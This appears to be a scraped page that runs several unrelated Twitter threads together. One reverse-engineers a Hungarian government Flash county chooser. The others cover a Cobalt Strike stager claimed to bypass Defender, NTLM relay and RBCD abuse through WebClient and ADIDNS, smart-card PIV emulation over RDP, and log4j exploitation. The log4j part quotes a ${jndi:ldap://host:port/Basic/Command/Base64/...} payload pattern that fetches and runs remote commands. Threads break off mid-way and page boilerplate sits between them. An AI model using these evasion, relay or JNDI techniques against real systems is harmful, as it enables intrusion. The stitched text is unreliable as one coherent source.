It is relatively easy to navigate to a customer service selector page. At the bottom there should be a county chooser according to the text, but there is nothing below. Let’s see why. 2/🧵⬇️
In the source code we can see that the webpage contains a Flash (SWF) object included. Yes, the county chooser of allamkincstar.gov.hu is a flash object, even though it is 2022 and @AdobeFlash is EOL and support has been removed from the browsers for over >1.5 year. 3/🧵⬇️
Ok, let’s download the SWF file and let’s try to open it with the open source Ruffle.rs Flash Player Emulator (outside the browser). Now we have the county chooser on a map, but unfortunately we still do not know how does it interact with the webpage. 4/🧵⬇️
Let’s add some debugging through Rust logging variables for Ruffle. Now by pushing the various counties on the map, there are trace messages showing different error values for the different counties. For example, we get 13 for the capital Budapest+Pest county. 5/🧵⬇️
Now let’s extract the ActionScript from the SWF file using the Flare tool (nowrap.de/flare.html). The decompiled ActionScript shows that the various button release events call the same JavaScript function with different integer parameters. 6/🧵⬇️
Back to the selector page in the browser. Let’s call the extracted JS function in the console with param 13 (sniffed from tracing the SWF). Success: it opens the page where the required customer service locations are listed.
This is how we browse the web here in 2022. 7/🧵🙃🇭🇺
• • •
Missing some Tweet in this thread? You can try to
force a refresh
Built a special JS stager for Cobalt Strike (or for anything else).
Actually it is based on C# .NET, and it is super simple (full source is on the screenshot) because it uses the PE mapper from DInvoke.
Currently managed to bypass Defender.
Sharing some details in this thread.
First, I started from a stageless Cobalt Strike beacon payload generated using my custom Artifact Kit, already including some advanced evasion features what I didn't want to rewrite again.
That's why I turned to PE staging instead of the common shellcode loading technique.
Luckily, DInvoke (besides other super features) supports manual PE mapping of unmanaged code from managed .NET projects out-of-the-box.
If NetNTLMv1 is disabled but LDAP signing is not enforced on DC, and there is WebClient service enabled on the target, pwn is similar (~RBCD abuse). NTLM relay should be HTTP->LDAP instead of SMB->LDAP (WebClient does not set signature requirement on the client side).
WebDAV target for coerced NTLM auth should be a dotless hostname (conforming Trusted/Intranet zone). No worries, arbitrary hostname can be registered even using a low-privileged domain account in ADIDNS (using the dnstool script in krbrelayx).
And what if WebClient is not running (but installed) on the target? Startup is triggered when anyone opens a folder with a searchConnector-ms file containing an HTTP URL iconReference.🙂
Until that, here is how I did this before (from Linux): simulating PIV applet on an emulated smartcard device locally and pass it through RDP. 🧵/1 👇
First component needed: vpcd frankmorgner.github.io/vsmartcard/vir…, a virtual smart card device, what is actually emulating a software smart card reader in the PC/SC Smart Card Daemon. Just add vpcd into pcscd. 🧵/2 👇
Next step is inserting a proper smart card into the virtual smart card reader device. Simulating PIV with PivApplet: github.com/OpenSC/OpenSC/…, a Personal Identity Verification compatible JavaCard applet using jCardSim jcardsim.org 🧵/3 👇
#log4j storm is coming, cryptominers in the first wave.
checked multiple (non-java ;) ) webservers i run and the logs are getting filled with the ${jndi:ldap://...} payloads.
THREAD: let's see a weaponized one.
one common scheme is: ldap://host:port/Basic/Command/Base64/[base64encodedstring].
some of the LDAP urls are still accessible (usually only from targeted IPs, other IPs are firewalled). getting the LDAP data returns the JNDI object.
Unfortunately this javaCodeBase URL became offline at the moment, but the Base64 encoded part is simple bash, so the "foo" class should be a basic OS command launcher.